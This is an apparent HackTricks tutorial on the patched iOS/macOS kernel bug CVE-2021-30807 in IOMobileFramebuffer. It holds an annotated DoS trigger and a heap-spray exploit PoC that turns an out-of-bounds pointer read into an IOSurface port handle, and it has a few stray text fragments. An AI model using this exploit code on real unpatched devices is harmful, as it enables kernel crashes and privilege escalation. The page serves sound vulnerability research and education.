# CVE-2021-30807: IOMobileFrameBuffer OOB {{#include ../../banners/hacktricks-training.md}} ## The Bug You have a [great explanation of the vuln here](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), but as summary: - The vulnerable code path is **external method #83** of the **IOMobileFramebuffer / AppleCLCD** user client: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. This method receives a parameter controlled by the user that is not check in any way and that passes to the next function as **`scalar0`**. - That method forwards into **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**, where **`scalar0`** (a user-controlled **32-bit** value) is used as an **index** into an internal **array of pointers** without **any bounds check**: > `ptr = *(this + 0xA58 + scalar0 * 8);` → passed to `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` as an **`IOSurface*`**.\ > **Result:** **OOB pointer read & type confusion** on that array. If the pointer isn't valid, the kernel deref panics → **DoS**. > [!NOTE] > This was fixed in **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1** > [!WARNING] > The initial function to call `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` is protected by the entitlement **`com.apple.private.allow-explicit-graphics-priority`**. However, **WebKit.WebContent** has this entitlement, so it can be used to trigger the vuln from a sandboxed process. ## DoS PoC The following is the initial DoS PoC from the ooriginal blog post with extra comments: ```c // PoC for CVE-2021-30807 trigger (annotated) // NOTE: This demonstrates the crash trigger; it is NOT an LPE. // Build/run only on devices you own and that are vulnerable. // Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory) // https://support.apple.com/en-us/103144 // https://nvd.nist.gov/vuln/detail/CVE-2021-30807 void trigger_clcd_vuln(void) { kern_return_t ret; io_connect_t shared_user_client_conn = MACH_PORT_NULL; // The "type" argument is the type (selector) of user client to open. // For IOMobileFramebuffer, 2 typically maps to a user client that exposes the // external methods we need (incl. selector 83). If this doesn't work on your // build, try different types or query IORegistry to enumerate. int type = 2; // 1) Locate the IOMobileFramebuffer service in the IORegistry. // This returns the first matched service object (a kernel object handle). io_service_t service = IOServiceGetMatchingService( kIOMasterPortDefault, IOServiceMatching("IOMobileFramebuffer")); if (service == MACH_PORT_NULL) { printf("failed to open service\n"); return; } printf("service: 0x%x\n", service); // 2) Open a connection (user client) to the service. // The user client is what exposes external methods to userland. // 'type' selects which user client class/variant to instantiate. ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn); if (ret != KERN_SUCCESS) { printf("failed to open userclient: %s\n", mach_error_string(ret)); return; } printf("client: 0x%x\n", shared_user_client_conn); printf("call externalMethod\n"); // 3) Prepare input scalars for the external method call. // The vulnerable path uses a 32-bit scalar as an INDEX into an internal // array of pointers WITHOUT bounds checking (OOB read / type confusion). // We set it to a large value to force the out-of-bounds access. uint64_t scalars[4] = { 0x0 }; scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup // 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID). uint64_t output_scalars[4] = { 0 }; uint32_t output_scalars_size = 1; printf("call s_default_fb_surface\n"); // 5) Invoke external method #83. // On vulnerable builds, this path ends up calling: // IOMobileFramebufferUserClient::s_displayed_fb_surface(...) // → IOMobileFramebufferLegacy::get_displayed_surface(...) // which uses our index to read a pointer and then passes it as IOSurface*. // If the pointer is bogus, IOSurface code will dereference it and the kernel // will panic (DoS). ret = IOConnectCallMethod( shared_user_client_conn, 83, // **Selector 83**: vulnerable external method scalars, 1, // input scalars (count = 1; the OOB index) NULL, 0, // no input struct output_scalars, &output_scalars_size, // optional outputs NULL, NULL); // no output struct // 6) Check the call result. On many vulnerable targets, you'll see either // KERN_SUCCESS right before a panic (because the deref happens deeper), // or an error if the call path rejects the request (e.g., entitlement/type). if (ret != KERN_SUCCESS) { printf("failed to call external method: 0x%x --> %s\n", ret, mach_error_string(ret)); return; } printf("external method returned KERN_SUCCESS\n"); // 7) Clean up the user client connection handle. IOServiceClose(shared_user_client_conn); printf("success!\n"); } ``` ## Arbitrary Read PoC Explained 1. **Opening the right user client** - `get_appleclcd_uc()` finds the **AppleCLCD** service and opens **user client type 2**. AppleCLCD and IOMobileFramebuffer share the same external-methods table; type 2 exposes **selector 83**, the vulnerable method. **This is your entry to the bug.** E_POC/) **Why 83 matters:** the decompiled path is: - `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\ → `IOMobileFramebufferUserClient::get_displayed_surface(...)`\ → `IOMobileFramebufferLegacy::get_displayed_surface(...)`\ Inside that last call, the code **uses your 32-bit scalar as an array index with no bounds check**, fetches a pointer from **`this + 0xA58 + index*8`**, and **passes it as an `IOSurface*`** to `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **That's the OOB + type confusion.** 2. **The heap spray (why IOSurface shows up here)** - `do_spray()` uses **`IOSurfaceRootUserClient`** to **create many IOSurfaces** and **spray small values** (`s_set_value` style). This fills nearby kernel heaps with **pointers to valid IOSurface objects**. - **Goal:** when selector 83 reads past the legit table, the **OOB slot likely contains a pointer to one of your (real) IOSurfaces**---so the later dereference **doesn't crash** and **succeeds**. IOSurface is a classic, well-documented kernel spray primitive, and Saar's post explicitly lists the **create / set_value / lookup** methods used for this exploitation flow. 3. **The "offset/8" trick (what that index really is)** - In `trigger_oob(offset)`, you set `scalars[0] = offset / 8`. - **Why divide by 8?** The kernel does **`base + index*8`** to compute which **pointer-sized slot** to read. You're picking **"slot number N"**, not a byte offset. **Eight bytes per slot** on 64-bit. - That computed address is **`this + 0xA58 + index*8`**. The PoC uses a big constant (`0x1200000 + 0x1048`) simply to step **far out of bounds** into a region you've tried to **densely populate with IOSurface pointers**. **If the spray "wins," the slot you hit is a valid `IOSurface*`.** 4. **What selector 83 returns (this is the subtle part)** - The call is: `IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, output_scalars, &output_scalars_size, NULL, NULL);`o - Internally, after the OOB pointer fetch, the driver calls\ **`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**. - **Result:** **`output_scalars[0]` is a Mach port name (u32 handle) in your task** for *whatever object pointer you supplied via OOB*. **It is not a raw kernel address leak; it's a userspace handle (send right).** This exact behavior (copying a *port name*) is shown in Saar's decompilation. **Why that's useful:** with a **port name** to the (supposed) IOSurface, you can now use **IOSurfaceRoot methods** like: - **`s_lookup_surface_from_port` (method 34)** → turn the port into a **surface ID** you can operate on through other IOSurface calls, and - **`s_create_port_from_surface` (method 35)** if you need the inverse.\ Saar calls out these exact methods as the next step. **The PoC is proving you can "manufacture" a legitimate IOSurface handle from an OOB slot.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com) This [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) and added some comments to explain the steps: ```c #include "exploit.h" // Open the AppleCLCD (aka IOMFB) user client so we can call external methods. io_connect_t get_appleclcd_uc(void) { kern_return_t ret; io_connect_t shared_user_client_conn = MACH_PORT_NULL; int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐ // (AppleCLCD and IOMobileFramebuffer share the same external methods table.) // Find the **AppleCLCD** service in the IORegistry. io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleCLCD")); if(service == MACH_PORT_NULL) { printf("[-] failed to open service\n"); return MACH_PORT_NULL; } printf("[*] AppleCLCD service: 0x%x\n", service); // Open a user client connection to AppleCLCD with the chosen **type**. ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn); if(ret != KERN_SUCCESS) { printf("[-] failed to open userclient: %s\n", mach_error_string(ret)); return MACH_PORT_NULL; } printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn); return shared_user_client_conn; } // Trigger the OOB index path of external method #83. // The 'offset' you pass is in bytes; dividing by 8 converts it to the // index of an 8-byte pointer slot in the internal table at (this + 0xA58). uint64_t trigger_oob(uint64_t offset) { kern_return_t ret; // The method takes a single 32-bit scalar that it uses as an index. uint64_t scalars[1] = { 0x0 }; scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐ // #83 returns one scalar. In this flow it will be the Mach port name // (a u32 handle in our task), not a kernel pointer. uint64_t output_scalars[1] = { 0 }; uint32_t output_scalars_size = 1; io_connect_t appleclcd_uc = get_appleclcd_uc(); if (appleclcd_uc == MACH_PORT_NULL) { return 0; } // Call external method 83. Internally: // ptr = *(this + 0xA58 + index*8); // OOB pointer fetch // IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out) // which creates a send right for that object and writes its port name // into output_scalars[0]. If ptr is junk → deref/panic (DoS). ret = IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, output_scalars, &output_scalars_size, NULL, NULL); if (ret != KERN_SUCCESS) { printf("[-] external method 83 failed: %s\n", mach_error_string(ret)); return 0; } // This is the key: you get back a Mach port name (u32) to whatever // object was at that OOB slot (ideally an IOSurface you sprayed). printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]); return output_scalars[0]; } // Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a // real IOSurface (easier & stabler than a fully fake object). bool do_spray(void) { char data[0x10]; memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying. // Get IOSurfaceRootUserClient (reachable from sandbox/WebContent). io_connect_t iosurface_uc = get_iosurface_root_uc(); if (iosurface_uc == MACH_PORT_NULL) { printf("[-] do_spray: failed to allocate new iosurface_uc\n"); return false; } // Create many IOSurfaces and use set_value / value spray helpers // (Brandon Azad-style) to fan out allocations in kalloc. ⭐ int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int)); for (size_t i = 0; i < SURFACES_COUNT; ++i) { surface_ids[i] = create_surface(iosurface_uc); // s_create_surface if (surface_ids[i] <= 0) { return false; } // Spray small values repeatedly: tends to allocate/fill predictable // kalloc regions near where the IOMFB table OOB will read from. // The “with_gc” flavor forces periodic GC to keep memory moving/packed. if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i], 20, 200, // rounds, per-round items data, sizeof(data), NULL) == false) { printf("iosurface spray failed\n"); return false; } } return true; } int main(void) { // Ensure we can talk to IOSurfaceRoot (some helpers depend on it). io_connect_t iosurface_uc = get_iosurface_root_uc(); if (iosurface_uc == MACH_PORT_NULL) { return 0; } printf("[*] do spray\n"); if (do_spray() == false) { printf("[-] shape failed, abort\n"); return 1; } printf("[*] spray success\n"); // Trigger the OOB read. The magic constant chooses a pointer-slot // far beyond the legit array (offset is in bytes; index = offset/8). // If the spray worked, this returns a **Mach port name** (handle) to one // of your sprayed IOSurfaces; otherwise it may crash. printf("[*] trigger\n"); trigger_oob(0x1200000 + 0x1048); return 0; } ``` ## References - [Original writeup by Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/) - [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC) - [Research from jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com) {{#include ../../banners/hacktricks-training.md}}